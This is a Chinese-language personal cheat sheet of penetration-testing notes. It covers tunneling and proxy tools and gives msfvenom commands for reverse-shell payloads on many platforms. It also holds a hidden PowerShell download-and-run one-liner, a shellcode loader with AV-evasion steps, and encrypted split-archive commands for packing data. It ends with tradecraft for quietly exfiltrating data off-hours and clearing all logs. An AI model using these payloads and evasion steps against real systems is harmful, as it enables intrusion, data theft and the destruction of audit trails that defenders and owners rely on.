渗透中自己总计的一些笔记
一、端口转发
Lcx
nc
二、代理
windows 和 mac 下使用 Proxifier 配置代理
linux 使用 proxychians-ng , Github 地址:https://github.com/rofl0r/proxychains-ng
EarthWorm
工具地址: http://rootkiter.com/EarthWorm/
主要特性: EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
reGeorg
工具地址: https://github.com/sensepost/reGeorg
利用 webshell 建立一个 socks 代理进行内网穿透,主要是正向代理
SSH隧道
1 2 3
| ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host #向隧道,监听本地port ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host #反向隧道,用于内网穿透防火墙限制之类 ssh -C -f -N -g -D listen_port user@Tunnel_Host #直接进行socks代理
|
sSocks
工具地址: http://sourceforge.net/projects/ssocks/
sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试(重点是稳定)。
meterpreter 代理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| msf exploit(handler) > route add 10.1.1.129 255.255.255.255 1 [*] Route added msf exploit(handler) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.1.1.129 255.255.255.255 Session 1 msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > exploit -y [*] Auxiliary module execution completed msf auxiliary(socks4a) > [*] Starting the socks4a proxy server
|
三、渗透框架
MSF生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| msfvenom -l 列出所有模块,攻击载荷
Binaries
linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell
Windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac msfvenom -p osx/x86ell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Web Payloads
PHP msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war Scripting Payloads
Python msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Windows Based Shellcode msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Mac Based Shellcode msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
use exploit/multi/handler set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> exploit
|
(二)Empire
基于Powershell,Github: https://github.com/EmpireProject/Empire
(三)Cobalt Strike
四、免杀
shellter
https://www.shellterproject.com/
Veil
https://github.com/Veil-Framework/Veil-Evasion
Powershell
混淆 https://github.com/danielbohannon/Invoke-Obfuscation
Empire实测用vbs可过
1
| cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://{HOST}/launcher.vbs','C:\\windows\\temp\\launcher.vbs'); CScript.exe launcher.vbs
|
VS编译shellcode
https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html
1
| msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.1.2LPORT=5555 -f c
|
vs下编译
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include "stdafx.h" #include "windows.h" #include "stdio.h" #pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口 unsigned char shellcode[] = "shellcode is here"; void main() { LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, shellcode, sizeof(shellcode)); ((void(*)())Memory)(); }
|
免杀ShellCode加载器
https://www.cnblogs.com/k8gege/p/11223393.html
提权
Windows
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/bitsadmin/wesng # Windows Exploit Suggester
Linux
https://github.com/SecWiki/linux-kernel-exploits # Linux Exploit Suggester
关于打包
1 2 3 4 5 6 7 8 9 10 11
| Rar文件打包,压缩d:\data\目录下所有2013-01-01后修改的doc文件,100M/包密码为Pass,-x为排除选项。 rar.exe a–r –v100m new.rar –ta20130101000000 –hpPass –n*.doc –x*.exe d:\data\
7z加密,压缩d:\data下所有文件,密码为Pass,分卷100M/包。 7z.exe a c:\xx.7z -pPass -mhe d:\data -v100m
Linux用 tar 打包文件是可以加密码,要跟openssl结合使用。 tar -zcvf - pma|openssl des3 -salt -k password | dd of=pma.des3
使用 tar 对加密文件解压: dd if=pma.des3 |openssl des3 -d -k password|tar zxf -
|
简单扫描
发现存活主机
渗透注意事项
检查内网监控防范系统
谨慎使用ARP软件和大面积扫描软件
使用目标网络中无空闲机器,作为打包对象
使用内网大流量机器作为传输对象,如wsus服务器、视频会议系统
使用临时机器打包、数据传输,不要使用已控机器,可利用wmi脚本或wmic远程操作
禁止使用psexec.exe
打包时避开用户工作时间
控制卷包大小<100M
选择用户常用压缩软件
错峰下载数据
控制传输流量
清除所有操作日志
登录主机前先看看管理员是否在
待续,有点乱,需要整理一下。。。
参考
https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655120260&idx=2&sn=d9f262f38eddd8cbd830b30c118a2b00&chksm=bc86766b8bf1ff7db4557b2024f09c5c3def99894dbc585f5c2c7a0ede46b9c5d635cc8b8dbe&scene=21#wechat_redirect